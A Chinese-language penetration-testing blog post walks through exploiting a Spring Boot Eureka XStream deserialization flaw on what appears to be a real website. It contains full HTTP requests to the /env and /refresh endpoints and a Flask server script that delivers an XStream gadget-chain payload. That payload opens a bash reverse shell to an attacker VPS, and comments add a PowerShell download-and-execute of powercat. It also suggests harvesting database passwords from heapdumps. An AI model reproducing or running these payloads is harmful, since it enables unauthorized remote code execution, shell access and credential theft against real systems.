SpringBoot eureka XStream 反序列化命令执行漏洞#
0x01 前言#
最近发现,好多网站都是通过 springboot 搭建的,基本上在进行目录扫描或者指纹扫描的时候都能发现,springboot 如果配置不当,就会产生相应的漏洞。
springboot 的相关资料可以参考:GitHub - LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list,详细讲述了 springboot 的技巧和利用方法。
这次发现的是 springboot eureka 的远程命令执行漏洞,具体流程:信息泄漏 - DNSLOG 测试 - RCE。
0x02 漏洞利用#
通过信息收集发现目标开放了 9099 端口,访问后,是一个 springboot eureka 站点,界面如下:
既然是 springboot eureka,那么他就又可能有 deserialization RCE 漏洞,但利用这个漏洞有很多的前提。
漏洞利用条件:
- 可以 post 请求到目标的 /env 接口设置属性
- 可以 post 请求到目标的 /refresh 接口刷新配置
- 目标使用的
eureka-client
的版本小于 1.8.7 - 目标可以 http 出网
1、/env 接口可以直接访问,通过这个可以判断 springboot 的版本是 1.x 的,如果是 2.x 的版本则需要 /actuator/env 才能访问到下面的页面。
2、通过 dnslog 请求,可以测试 /env、/refresh 和 http 是否出网。
先设置 eureka.client.serviceUrl.defaultZone 属性。
POST /env HTTP/1.1
Host: xxx.com:9099
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
eureka.client.serviceUrl.defaultZone=http://<dnslog的地址>
3、通过访问 /configgprops 可以看到设置的 eureka.client.serviceUrl.defaultZone 属性。
4、发送刷新 /refresh 配置的 POST 包。
POST /refresh TTP/1.1
Host: xxx.com:9099
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
5、执行完后,就可以静待 dnslog 是否收到请求了,我在测试的时候,收到请求的时间有点慢,大家需要耐心等待,如果收到了请求,那就说明收米了。
6、证明了存在漏洞之后,就可以开始反弹 shell 了。
提供一个依赖 Flask 并符合要求的 python 脚本,利用 bash 来反弹 shell,修改脚本的 ip 和端口,ip 设置成 vps 的 ip,监听端口设置成 nc 监听的端口,最后在 vps 上运行这个 python 脚本。
# -*- coding: utf-8 -*-
# @Time : 2019/3/12 10:06
# @Author : j1anFen
# @Site :
# @File : run.py
# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/<vps的ip地址>/8446 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8088)
先运行上述脚本,脚本运行一个 web 站点。
可以浏览器访问查看
然后 vps 上开启 nc 监听。
前置工作完成后,开始走一遍之前 dnslog 的验证流程就行,先 post /env 接口设置属性,然后 /refresh 属性配置。
0x03 总结#
- 整套流程下来,其实并不复杂,就是在 dnslog 验证处这里需要点耐心。
- 对于 springboot 的测试还有其他的东西,像这个站点还有 heapdump 下载,可以从中找到数据库密码。
0x04 其他#
GitHub - AabyssZG/SpringBoot-Scan: 针对 SpringBoot 的开源渗透框架,以及 Spring 相关高危漏洞利用工具